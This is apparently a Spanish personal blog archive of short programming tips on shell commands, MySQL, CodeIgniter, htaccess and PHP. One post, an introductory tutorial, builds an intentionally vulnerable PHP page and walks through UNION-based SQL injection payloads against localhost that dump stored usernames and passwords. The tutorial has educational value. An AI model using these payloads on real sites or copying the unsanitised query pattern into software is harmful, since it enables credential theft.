Daniel Segovia

Blog personal

Archive for the ‘General’ Category

De iso-8859-1 a UTF-8

Hacer un comentario

Para convertir archivos de ISO a UTF en linux lo hacemos con el comando iconv

Primero con el comando file vamos a chequear el encondig del archivo.

daniel@localhost:~$ file -bi daniel.csv 
text/plain; charset=iso-8859-1

Ahora para convertirlo usamos iconv

daniel@localhost:~$ iconv --from-code=ISO-8859-1 --to-code=UTF-8 daniel.csv > danielUTF8.csv
daniel@localhost:~$ file -bi danielUTF8.csv
text/plain; charset=utf-8

Por último sí deseamos convertir todos los archivos de ISO a UTF8 podemos buscarlos con find y ejectar el comando para convertirlos.

daniel@localhost:~$ find . -name "*.txt" -exec iconv -f ISO-8859-1 -t UTF-8 {} -o {}.utf8 \;

Written by Daniel Segovia

abril 29th, 2013 at 3:57 pm

Posted in General

Error : /bin/rm: Argument list too long

Hacer un comentario

Al intentar borrar el contenido de una carpeta con muchos archivos nos podemos encontrar con el siguiente problema

rm -rf *.*
/bin/rm: Argument list too long

Podemos solucionarlo con find y borrando “manualmente” uno por uno

find . -name '*' | xargs rm

Written by Daniel Segovia

agosto 22nd, 2012 at 3:49 pm

Cómo ver las claves foráneas

Hacer un comentario

Con el siguiente código SQL podemos ver las claves foráneas (foreign key) de una tabla.

SELECT 
    CONCAT(TABLE_NAME, '.', column_name) AS 'claves_foranea',  
    CONCAT(referenced_table_name, '.', referenced_column_name) AS 'referencia'
FROM
    information_schema.key_column_usage
WHERE
    referenced_table_name IS NOT NULL
    AND CONSTRAINT_SCHEMA = 'nombre_base_de_datos'
    AND TABLE_NAME = 'tabla'

Sí deseamos ver todas las claves foráneas de la base de datos, solo quitamos en el WHERE la condición de table_name

SELECT 
    CONCAT(TABLE_NAME, '.', column_name) AS 'claves_foranea',  
    CONCAT(referenced_table_name, '.', referenced_column_name) AS 'referencia'
FROM
    information_schema.key_column_usage
WHERE
    referenced_table_name IS NOT NULL
    AND CONSTRAINT_SCHEMA = 'nombre_base_de_datos'

Written by Daniel Segovia

agosto 9th, 2012 at 3:21 pm

Proteger a controlador en Codeigniter

Hacer un comentario

Me encontré con el problema de tener que proteger un controlador de codeigniter con htaccess, busqué bastante tiempo y no encontré la solución, así que leyendo un poco de la documentación puedo hacerlo.

Primer debemos crear el usuario y la contraseña que servirán para permitir el acceso al controlador.

htpasswd -c /var/www/users/users administrador

Este nos pedirá la contraseña que deseamos para el usuario administrador y creará el archivo en users en la ruta indicada.

Por último creamos el archivo .htaccess en el raíz del proyecto, en este ejemplo el controlador que deseo proteger es admin

DirectoryIndex index.php
RewriteEngine on
RewriteCond $1 !^(index\.php|images|css|js|robots\.txt|favicon\.ico)
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ ./index.php/$1 [L,QSA]
 
<Files admin>
AuthName "Admin"
AuthType Basic
AuthUserFile /var/www/users/users
Require user administrador
</Files>

Written by Daniel Segovia

agosto 6th, 2012 at 4:04 pm

Posted in General

Tagged with , , ,

Validar solo números en Javascript

Hacer un comentario

Con una expresión regular lo solucionamos fácil, no comas, no puntos, ningún otro carácter que no sea número.

function esNumbero(n) {
  return /^([0-9]+)$/.test(n)
}
 
esNumero(0); //true
esNumero(1); //true
esNumero(1,2); //false
esNumero(1,5); //false
esNumero(x2); //false
esNumero(2x); //false

Written by Daniel Segovia

junio 29th, 2012 at 4:30 pm

Scroll en Firefox de Ubuntu

Hacer un comentario

La instalación de Ubuntu 12.04 fue perfecto, ahora solo me resta acomodar las cosas como a mi me gustan.
Primero el botón del medio de Firefox me gusta que haga scroll cuando hago click, para esto hice lo siguiente.

En la URL escribí about:config y presioné Enter
Me preguntó si estaba seguro de querer entrar allí y continue con confianza.
Luego busqué general.autoScroll que predeterminado viene en false y lo cambié a true.

Ni siquiera hizo falta reiniciar el Firefox para que comience a funcionar.

Written by Daniel Segovia

junio 8th, 2012 at 1:37 pm

Posted in General

Tagged with , ,

Extender controlador en Codeigniter

2 comentarios

Estuve haciendo unas cosas con Codeigniter y tenía unas funciones en común para todos los controladores, al intentar que mis controladores hereden de otra clase que no se CI_Controller me encontré con que no fue tan sencillo, les recomiendo una página para encontrar cosas http://www.google.com, la pueden agregar a sus favoritos para no olvidarse.
Buscando allí encontré un montón de ejemplos y métodos que no me funcionaron.
Hasta que di con una página donde pude resolver mi problema, me encantaría citar la fuente de donde recogí la información, pero no lo recuerdo y esto fue hace unos cuantos días. Hoy decido publicarlo aquí y no pude volver a encontrarlo.

Es mucho más sencillo de lo que se lee en las entradas de los blogs.

Solamente hay que crear una clase en la parte core, esta extenderla de CI_Controller y luego crear mis controladores extendiendo de mi nueva clase.

<?php
//application/core/controlador_base.php
if (!defined('BASEPATH')) exit('No direct script access allowed');
 
class controlador_base extends CI_Controller {
 
    function __construct(){
        parent::__construct();
    }
 
    function bienvenida(){
        echo "imprimiendo desde controlador base";
    }
}
?>

Ahora creamos nuestros controladores

<?php
//application/controllers/usuarios.php
if (!defined('BASEPATH')) exit('No direct script access allowed');
 
class usuarios extends controlador_base {
 
    function __construct(){
        parent::__construct();
    }
}
?>
<?php
//application/controllers/autos.php
if (!defined('BASEPATH')) exit('No direct script access allowed');
 
class autos extends controlador_base {
 
    function __construct(){
        parent::__construct();
    }
}
?>

Ahora en usuarios y autos tenemos el método bienvenida que es heredado de controlador_base

Actualización
En //application/config/config.php al final agregar el autoload

function __autoload($class)
{
    if (strpos($class, 'CI_') !== 0)
    {
        if (file_exists($file = APPPATH . 'core/' . $class . EXT))
        {
            include $file;
        }
 
        elseif (file_exists($file = APPPATH . 'libraries/' . $class . EXT))
        {
            include $file;
        }
    }
}

Written by Daniel Segovia

mayo 31st, 2012 at 1:30 pm

Posted in General

Tagged with , ,

Agregar comas en javascript

Hacer un comentario

Hice esta función para agregar comas a un número en javascript, recibe el parámetro del número y lo devuelve formateado con comas.
Sirve para cuando tenemos número mayores a 4 cifras para agregarle las comas correspondientes.
Es muy común ver este tipo de formato cuando hablamos de números en millón

<script>
function agregarComas(numero){
	numero += '';
	x = numero.split('.');
	x1 = x[0];
	x2 = x.length > 1 ? '.' + x[1] : '';
	var rgx = /(\d+)(\d{3})/;
	while (rgx.test(x1)) {
		x1 = x1.replace(rgx, '$1' + ',' + '$2');
	}
	return x1 + x2;
}
alert(agregarComas(100000)) //100,000
alert(agregarComas(10000000)) //10,000,000
alert(agregarComas(100000000)) //100,000,000
</script>

Written by Daniel Segovia

mayo 29th, 2012 at 6:07 pm

Posted in General

Tagged with , ,

Diferentes sintaxis en Insert

Hacer un comentario

Tenemos una opción no muy conocida y también no muy usada para realizar un Insert en MySql (no conozco en detalle otros motores de base de datos)
La sintaxis clásica

INSERT INTO usuarios (nombre, nivel) VALUES ('Daniel', 1);

Esta sintaxis es similar a la del Update

INSERT INTO usuarios SET nombre='Daniel', nivel=1

Con cualquier el resultado será el mismo.

Aquí un ejemplo funcional de ésta última sintaxis

<?php
$mysqli = new mysqli("localhost", "usuario", "password", "nombre_base");
 
if (mysqli_connect_errno()) {
    printf("Imposible conectarse: %s\n", mysqli_connect_error());
    exit();
}
 
$query = "INSERT INTO usuarios SET nombre=?, nivel=?";
 
$nombre = (string) 'Daniel';
$nivel = (int) 1;
 
if ($stmt = $mysqli->prepare($query)) {
 
    $stmt->bind_param('si', $nombre, $nivel);
 
    $stmt->execute();
 
    $stmt->close();
}
?>

Written by Daniel Segovia

abril 11th, 2012 at 12:23 pm

Mayúsculas y minúsculas en las búsquedas de MySQL

Un comentario

Cuando tenemos que buscar dentro de un campo determinada cadena de texto podemos encontrarnos con la dificultad de de distinguir entre mayúsculas y minúsculas.
El charset (en español cotejamiento) es la respuesta a nuestro conflicto, éste es definido al momento de crear el campo, podemos decir que es case sensitive (cs) o que no lo es (ci)

Sí no elegimos un charset el campo tomará como predeterminado el charset de la tabla, cuando la creamos debemos indicarlo.

Empecemos creando una tabla indicando un charset que no sea case sensitive

CREATE TABLE `personas` (
  `id` INT(11) NOT NULL DEFAULT '0',
  `nombre` VARCHAR(255) NOT NULL,
  `apellido` VARCHAR(255) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 COLLATE=latin1_spanish_ci;

Supongamos que yo tengo el siguiente registro

1 Daniel Segovia

Busquemos la cadena de texto “daniel” (en minúscula) en el campo nombre

SELECT * FROM personas WHERE nombre LIKE 'daniel'

MySQL me devolverá este registro ya que el campo nombre no esta definido como case sensitve

Cambiemos el charset de una tabla case sensitive (latin1_spanish_ci) a no case sensitive (latin1_bin)

ALTER TABLE `personas` 
CHARSET=latin1 COLLATE=latin1_bin;

Sí realizamos la misma búsqueda que hicimos antes el resultado sería el mismo, nos devolvería el registro. Esto se debe a que no estamos cambiando el charset del campo nombre, solo estamos cambiando la definición de la tabla, esto producirá que cuando se cree un campo de texto nuevo y no se defina un charset este ahora será latin1_bin.

Para cambiar la definición del campo debemos hacerlo con el siguiente código

ALTER TABLE `personas` 
CHANGE `nombre` `nombre` VARCHAR( 255 ) 
CHARACTER SET latin1 COLLATE latin1_bin

Ahora sí dentro de una consulta “Daniel” será distinto de “daniel” entonces la consulta previa que realizamos no nos retornará ningún resultado.

Por último, sí tenemos un campo que es case sensitive podemos realizar una búsqueda y decirle al motor de base de datos para ésta búsqueda que no sea case sensitive

SELECT * FROM `personas` WHERE nombre LIKE 'daniel' COLLATE utf8_spanish_ci

Written by Daniel Segovia

noviembre 25th, 2011 at 2:47 pm

Optimizar tu sitio con htaccess

Hacer un comentario

Leí un muy buen artículo en catswhocode sobre htaccess

1) Forzar la barra final: Como agregar la barra final en las url, ideal para SEO

<IfModule mod_rewrite.c>
 RewriteCond %{REQUEST_URI} /+[^\.]+$
 RewriteRule ^(.+[^/])$ %{REQUEST_URI}/ [R=301,L]
</IfModule>

2) Prevenir hotlinks: Para que no usen las imágenes desde nuestro servidor directamente y nos consuman el tráfico

RewriteEngine On
#Replace ?mysite\.com/ reemplace por su URL
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?mysite\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
#Replace /images/nohotlink.jpg reemplace por la imagen que desea mostrar
RewriteRule .*\.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpg [L]

3) Redireccionar dispositivos moviles: Detecta sí es un dispositivo móvil y redirecciona a donde indiquen

RewriteEngine On
RewriteCond %{REQUEST_URI} !^/m/.*$
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "acs|alav|alca|amoi|audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT}  "maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|opwv" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|w3cs|wap-|wapa|wapi" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "wapp|wapr|webc|winw|winw|xda|xda-" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "up.browser|up.link|windowssce|iemobile|mini|mmp" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} "symbian|midp|wap|phone|pocket|mobile|pda|psp" [NC]
#------------- The line below excludes the iPad
RewriteCond %{HTTP_USER_AGENT} !^.*iPad.*$
#-------------
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC] #*SEE NOTE BELOW
RewriteRule ^(.*)$ /m/ [L,R=302]

4) Descargar archivos: Forzar a descargar determinados tipos de archivos

<Files *.xls>
  ForceType application/octet-stream
  Header set Content-Disposition attachment
</Files>
<Files *.eps>
  ForceType application/octet-stream
  Header set Content-Disposition attachment
</Files>

5) Incrustar una fuente en Firefox: Al incrustar una fuente, Firefox no le permiten integrar de una página web externa. con el siguiente código puede evitar esta limitación.

<FilesMatch "\.(ttf|otf|eot|woff)$">
<IfModule mod_headers.c>
    Header set Access-Control-Allow-Origin "http://yourdomain.com"
</IfModule>
</FilesMatch>

6) Acelerar la velocidad de tu sitio: Acelerar el sitio con cache para los archivos que creamos conveniente

# 1 año
<FilesMatch "\.(ico|pdf|flv)$">
Header set Cache-Control "max-age=29030400, public"
</FilesMatch>
# 1 semana
<FilesMatch "\.(jpg|jpeg|png|gif|swf)$">
Header set Cache-Control "max-age=604800, public"
</FilesMatch>
# 2 días
<FilesMatch "\.(xml|txt|css|js)$">
Header set Cache-Control "max-age=172800, proxy-revalidate"
</FilesMatch>
# 1 minuto
<FilesMatch "\.(html|htm|php)$">
Header set Cache-Control "max-age=60, private, proxy-revalidate"
</FilesMatch>

7) Frenar el spam en tú página: Tenés un wordpress? Sabes de lo que estoy hablando, bloquea el spam en tu wordpress de una manera sencilla

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} POST
RewriteCond %{REQUEST_URI} .wp-comments-post\.php*
RewriteCond %{HTTP_REFERER} !.*yourdomainname.* [OR]
RewriteCond %{HTTP_USER_AGENT} ^$
RewriteRule (.*) ^http://%{REMOTE_ADDR}/$ [R=301,L]
</IfModule>

8 ) Redirigir a diferentes lugares: Te permite redirigir diferentes feeds RSS, Atom o RDF a diferentes lugares

<IfModule mod_alias.c>
 RedirectMatch 301 /feed/(atom|rdf|rss|rss2)/?$ http://example.com/feed/
 RedirectMatch 301 /comments/feed/(atom|rdf|rss|rss2)/?$ http://example.com/comments/feed/
</IfModule>

9) Configure su sitio web para videos HTML5

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !=/favicon.ico
AddType video/ogg .ogv
AddType video/ogg .ogg
AddType video/mp4 .mp4
AddType video/webm .webm
AddType application/x-shockwave-flash swf

10) Corre PHP dentro de archivos Javascript

AddType application/x-httpd-php .js
AddHandler x-httpd-php5 .js
 
<FilesMatch "\.(js|php)$">
SetHandler application/x-httpd-php
</FilesMatch>

Written by Daniel Segovia

noviembre 4th, 2011 at 7:09 pm

Posted in General

Customizar openInfoWindowHtml con ewindow

Hacer un comentario

Me tope con el siguiente problema, necesitaba darle diseño a los globos que genera el openInfoWindowHtml de la API de Google Maps.
Revisando la documentación me di cuenta que lo que necesitaba hacer no se podía (o no lo encontré :D ), busque alternativas y me tope con ewindow, es bastante fácil de implementar y también es posible darle tu propio diseño.

openInfoWindowHtml

Ver ejemplo
Descargar Archivos

Written by Daniel Segovia

septiembre 19th, 2011 at 3:40 pm

Posted in General

Exportar desde PHP a un archivo Excel

Hacer un comentario

Cambiando los headers que se envían se puede crear un archivo y este quedará listo para que el usuario lo descargue.
Con la función header de PHP lo cambiaremos.

<?php
header('Content-type: application/vnd.ms-excel');
header("Content-Disposition: attachment; filename=autos.xls");
header("Pragma: no-cache");
header("Expires: 0");
?>
<table border="1">
        <tr>
            <th>Marca</th>
            <th>Modelo</th>
            <th>A&ntilde;o</th>
            <th>KM</th>
        </tr>
        <tr>
            <td>Fiat</td>
            <td>Palio</td>
            <td>2005</td>
            <td>130.000</td>
        </tr>
        <tr>
            <td>Fiat</td>
            <td>Uno</td>
            <td>1998</td>
            <td>250.000</td>
        </tr>
        <tr>
            <td>Ford</td>
            <td>Fiesta</td>
            <td>1997</td>
            <td>366.000</td>
        </tr>
        <tr>
            <td>Chevrolet</td>
            <td>Corsa</td>
            <td>2008</td>
            <td>56.000</td>
        </tr>
        <tr>
            <td>Fiat</td>
            <td>Punto</td>
            <td>2006</td>
            <td>94.000</td>
        </tr>
</table>

Lo importante en este script son los headers que hemos modificado.
El armado de la tabla puede provenir de donde querramos, ya sea de un array o una base de datos por ejemplo.

Written by Daniel Segovia

junio 8th, 2011 at 1:28 pm

Posted in General

Acortar ID

Hacer un comentario

Muchas veces necesitamos tener un ID más corto por temas de espacio.
Un ejemplo simple es con todos los short URL que hay para twitter

Estás 2 funciones transforman un ID en la mínima expresión posible

El array $chr nos dará todas las combinaciones posibles que queramos usar

<?php
 
$chr = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
$newId = array();
 
$id = "1260048";
 
shortId($id, $newId);
$normalId =  normalId($newId);
 
echo "newId: $newId";
echo "<br>";
echo "normalId $normalId";
 
 
function shortId($id, &$values){
    global $chr;
    $totalchr = count($chr);
 
    if($id <= $totalchr){
        array_push($values, $chr[$id-1]);
        $values = implode(array_reverse($values));
        return true;
    }
 
    $resto = $id % $totalchr;
    $newId = ($id - $resto) / $totalchr;
 
    if($newId > $totalchr){
        array_push($values, $chr[$resto - 1]);
        shortId($newId, $values);
    }else{
        array_push($values, $chr[$resto - 1]);
        array_push($values, $chr[$newId - 1]);
        $values = implode(array_reverse($values));
    }
 
}
 
function normalId($id){
    global $chr;
    $totalchr = count($chr);
 
    if(strlen($id) == 1){
        return (array_search($id[0], $chr) + 1);
    }
 
    $value = 1;
 
    $value = (array_search($id[0], $chr) + 1) * $totalchr;
    $value += array_search($id[$i + 1], $chr) + 1;
 
    for($i=1; $i<strlen($id); $i++){
        if(!isset($id[$i + 1])){
            break;
        }
        $value *=  $totalchr;
        $value += array_search($id[$i + 1], $chr) + 1;
    }
 
    return $value;
 
}
 
?>

Written by Daniel Segovia

junio 3rd, 2011 at 5:46 pm

Posted in General

Solución a: No disponible por mantenimiento programado. Vuelve a comprobarlo en unos minutos. Gracias

Hacer un comentario

La solución a “No disponible por mantenimiento programado. Vuelve a comprobarlo en unos minutos. Gracias” de wordpress es sencilla.

Ingrese por FTP a su sitio y elimine del directorio raíz el archivo .maintenance
Posiblemente su programa de FTP detecte este archivo como oculto, así que asegurase de que el programa tenga habilitada la opción de ver archivos ocultos.
Yo uso Filezilla y dicha opción está aquí
archivos ocultos filezilla

Written by Daniel Segovia

abril 27th, 2011 at 1:34 pm

Posted in General

Rueda como scroll en Ubuntu

Hacer un comentario

Para usar la rueda como botón y que se pueda hacer scroll desde la página

Editar -> Preferencias -> Avanzado -> General -> Activar Usar desplazamiento automático.

scroll

Written by Daniel Segovia

abril 8th, 2011 at 2:07 pm

Posted in General

PHP en Netbeans (Linux)

Hacer un comentario

Después de dar vueltas y vueltas encontré como instalar PHP en Netbeans sobre mi Ubuntu

Tools -> Plugins -> Available Plugins

Ahí busco PHP, la selecciono y la instalo, tal como muestra la imagen.

PHP Netbeans Ubuntu

Ver en grande

Written by Daniel Segovia

abril 8th, 2011 at 1:36 pm

Posted in General

Multiples Replace MySql

Un comentario

Como bien nos muestra la página de MySql con la función Replace puede reemplazar caracteres.

mysql> SELECT REPLACE('www.mysql.com', 'w', 'Ww');
        -> 'WwWwWw.mysql.com'

Pero como hacer multiples replaces a una cadena.
Por ejemplo

SELECT now()
//2011-03-30 19:20:26

De esta cadena yo deseo lo siguiente
2011–03–30 19–20–26
Osea, todas las fechas con doble guión medio, necesito hacer 2 reemplazos, uno para “-” y otro para “:”

La solución es usar 2 REPLACE

SELECT REPLACE( REPLACE( now( ) , '-', '--' ) , ':', '--' ) 
//2011--03--30 19--23--44

Written by Daniel Segovia

marzo 30th, 2011 at 7:28 pm

Posted in General

Primeros pasos con SQL Injection

4 comentarios

Primero vamos a explicar que es SQL Injection, es una vulnerabilidad en el acceso a la información de la base de datos desde el código de un programa.
El origen es la no validación de los datos que provienen externamente al programa, es decir, cuando yo ingreso un usuario y contraseña para acceder a determinado sistema estoy ingresando datos al sistema, esos datos, en general, se validarán contra la base de datos. Sí los datos ingresados no son validados correctamente antes de llegar a la base de datos la vulnerabilidad esta latente para que cualquiera pueda explotarla.
Otro ejemplo puede darse cuando hay parametros que se envian a través de la url (GET) y éstos no son validados correctamente antes de llegar a la base de datos.

Primero haremos una descripción de las tablas y luego del código que accederá a ellas

Aquí la descripción de las tablas en la base de datos.

Tabla noticias

tabla 1

Tabla usuarios

tabla 2

Y aquí mostraremos los archivos involucrados para tomar la información de la DB

<?php
//index.php
include_once('conexion.php');
$sql = "SELECT * FROM noticias ORDER BY id DESC LIMIT 10"; // La última noticia arriba
$resourse = mysql_query($sql, $link);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head>
<title>Diario - Online</title>
<style>
.titulo a:link,  a:visited {text-decoration: none; color:#000000; font-size: 25px;}
.titulo a:hover {text-decoration: underline; color:red;}
.copete {font:arial, helvetica 12px; color:#000000}
</style>
</head>
<body>
<h1>Diario - Online</h1>
<?php
while ($data = mysql_fetch_assoc($resourse)) {
	echo '<div class="titulo"><a href="noticias.php?id='.$data['id'].'">'.$data['titulo'].'</a></div>';
	echo '<div class="copete">'.$data['copete'].'</div>';
	echo '<hr />';
}
?>
</body>
</html>
<?php
//noticias.php
include_once('conexion.php');
$sql = "SELECT * FROM noticias WHERE id = " . $_GET['id']; //Traigo la noticia con el id de la URL
$resourse = mysql_query($sql, $link);
$data = mysql_fetch_assoc($resourse);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">
<head>
<title>Diario - Online</title>
<style>
.descripcion {font:arial, helvetica 12px; color:#000000}
</style>
</head>
<body>
<h1>Diario - Online || <?php echo $data['titulo'];?></h1>
<?php
echo '<div class="descripcion">'.$data['descripcion'].'</div>';
echo '<hr />';
?>
<a href="index.php">Volver</a>
</body>
</html>
<?php
//conexion.php
$host = "localhost";
$user = "root";
$pass = "";
$db = "diarioonline";
 
$link = mysql_pconnect($host, $user, $pass);
mysql_select_db($db, $link);
?>

Bueno, la vulnerabilidad a explotar se encuentra sobre el archivo noticias.php
Tengo el proyecto diarioonline corriendo en http://localhost/diarioonline/
Primero, vamos a navegar la siguiente URL http://localhost/diarioonline/noticias.php?id=3
Si miramos esta url vemos que pasa el parametro id=3 y en el código él no está validado correctamente.

Hasta aquí nada fuera de lo normal, la página tiene el funcionamiento esperado por el desarrollador de DiarioOnline.

Para realizar una prueba rápida lo que podemos hacer es navegar la siguiente URL
http://localhost/diarioonline/noticias.php?id=(select 3)
Ahí ya estaremos cambiando la url por la deseada por nosotros, si la página continua su funcionamiento correctamente quiere decir que hemos injectado código SQL al programa, es decir la consultaría quedaría así.

SELECT * FROM noticias WHERE id = (SELECT 3)

Ahora como ya sabemos que el parametro id no tiene validación, nuestro próximo paso será saber cuando columnas trae la consulta original, con la ayuda de UNION y mediante prueba y error lo conseguiremos.

http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1
Esto nos prodicará un error similar a este:
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in C:\xampp\htdocs\diarioonline\noticias.php on line 5

Esto es por que UNION nos pide la misma cantidad de columnas por cada SELECT, entonces probaremos y probaremos hasta evitar el error y saber cuantas columnas trae la consulta
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2 (ERROR)
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2,3 (ERROR)
http://localhost/diarioonline/noticias.php?id= 3 union SELECT 1,2,3,4 (EXITOSA)

SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,2,3,4

Hemos hecho un UNION exitoso con 4 campos pedidos en la segunda consulta, así que si deseamos hacer un UNION a otra tabla, debemos tener en cuenta que siempre debemos traer 4 campos si no la consulta nos devolverá un error.

Bueno, para realizar un UNION con otra tabla, debemos saber que tablas existen y los nombres de los campos, estos son visibles desde information_schema, en este ejemplo ya tenemos la estructura de la db así que no necesitamos ninguna información extra. Para conocer sobre los joins a information_schema visita este link.

El UNION lo realizaremos sobre la tabla usuarios.
http://localhost/diarioonline/noticias.php?id=3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios

SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios

Esta consulta otra vez será exitosa, pero seguiremos viendo la misma información por pantalla
Esto se debe a que el primer registro que devuelve la consulta es la noticia, aquí una muestra del resultado de la consuta

resultados union

Lo unico que nos falta es invertir estos resultados para que en primer lugar aparezca lo que viene tras el UNION, esto lo haremos muy simple con ORDER BY

http://localhost/diarioonline/noticias.php?id=3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios ORDER BY 1 ASC

SELECT * FROM noticias WHERE id = 3 UNION SELECT 1,nombre,contrasena,4 FROM usuarios ORDER BY 1 ASC

El resultado será ver los usuarios y contraseñas por pantalla.

Aquí los archivos para probarlo

Written by Daniel Segovia

diciembre 10th, 2010 at 11:05 am

Posted in General

Tagged with , , , ,

Namespace en PHP

Un comentario

Primero, antes de comenzar debes saber que namespace funciona a partir de la versión 5.3 de PHP
Bueno, el tamaño de las librerías crece día a día a paso agigantado. Debido a esto, es muy posible que tengamos una colisión de nombres en una función, método o clase.
Por ejemplo, si usamos Zend Framework y WordPress ambos poseen el método query.
Si usamos ambas herramientas nos produciría un Fatal Error.
Hasta ahora, la solución era usar subfijos. WordPress define sus clases con WP_, Codeigniter define sus clases con CI_ por delante.
Para evitar las colisiones las clases, funciones, métodos y constantes se agrupan en namespace.

Un breve ejemplo que aclarará la sitación.

<?php
 
namespace proyecto1;
 
    class database{
        function quien_soy(){
            echo 'soy la clase database dentro del namespace proyecto 1';
        }
    }
 
namespace proyecto2;
    class database{
        function quien_soy(){
            echo 'soy la clase database dentro del namespace proyecto 2';
        }
    }
 
$c = 'proyecto1\\database';  
$ob = new $c;
$ob->quien_soy();
 
echo '<br />';
 
$c = 'proyecto2\\database';  
$ob = new $c;
$ob->quien_soy();
 
?>

Written by Daniel Segovia

noviembre 19th, 2010 at 12:31 pm

Arrays

Hacer un comentario

Los arrays son variables que posee varias posiciones para almacenar un valor en cada posición. Éstas posiciones son accedidas mediante un índice único.

arrays

Aquí podemos ver de una manera más amigable un array, los índices únicos serían 0,1,2,3 y en cada posición de ésos índices contiene un valor.

En PHP esto sería de la siguiente manera

<?php
$datos = array();
$datos[0] = 'Una';
$datos[1] = 'cosa';
$datos[2] = 'otra';
$datos[3] = 'cosa';
?>

En PHP no es obligatorio colocar el nombre del índice en los arrays, solo colocando los corchetes [], PHP interpretará que es un array y generá automaticamente los índices comenzando desde 0 y aumentando de uno en uno cada nuevo elemento del array

<?php
$datos = array();
$datos[] = 'Una';
$datos[] = 'cosa';
$datos[] = 'otra';
$datos[] = 'cosa';
?>

Aquí otra forma de representar el mismo array

<?php
$datos = array('Una', 'cosa', 'otra', 'cosa);
?>

Es el mismo array, para el valor ‘Una’ tendrá el índice 0, el valor cosa (solo el segundo) tendrá el índice 1 y así sucesivamente

Para definir los índices (como en el primer ejemplo) con este tipo de sintaxis sería de la siguiente manera

<?php
$datos = array(0 => 'Una', 1 => 'cosa', 2 => 'otra', 3 => 'cosa);
?>

Se pueden almacenar cualquier tipo de información en los elementos del array, valores numericos o del tipo caracter, un conexión a una base de datos, un objeto u otra array, ésta última es muy común de verse, y se denomina array bidimensional.

Aquí un ejemplo para un entendimiento más simple.

<?php
$personas = array();
 
$personas[0] = array();
$personas[0]['nombre'] = 'Daniel';
$personas[0]['apellido'] = 'Segovia';
$personas[0]['edad'] = 28;
 
$personas[1] = array();
$personas[1]['nombre'] = 'Javier';
$personas[1]['apellido'] = 'Castros';
$personas[1]['edad'] = 33;
 
$personas[2] = array();
$personas[2]['nombre'] = 'Marcos';
$personas[2]['apellido'] = 'Gonzalez';
$personas[2]['edad'] = 19;
?>

Existen muchas funciones para el tratado de arrays, agregar o quitar elementos, dividir el array en 2, buscar por índices, buscar por valores entre otras.
Se puede encontrar una referencia de valores en:

http://www.php.net/manual/es/function.array.php

Written by Daniel Segovia

julio 18th, 2010 at 7:01 pm

Posted in General

Gerardo Richarte en GarageLab 4

Hacer un comentario

Un más que interesante charla sobre la privacidad en Internet.
Pasando por temas como facebook, celulares, compañias multinacionales.
Para replantearse algunas cosas al finalizar el video.

Gerardo Richarte en GarageLab 4 Post-Privacidad from GLab1 on Vimeo.

Written by Daniel Segovia

junio 20th, 2010 at 10:40 pm

¡Hola mundo!

Hacer un comentario

Hola a todos. Soy Daniel Segovia

<?php
echo "Hola Mundo";
?>

Written by Daniel Segovia

abril 11th, 2010 at 1:28 pm

Posted in General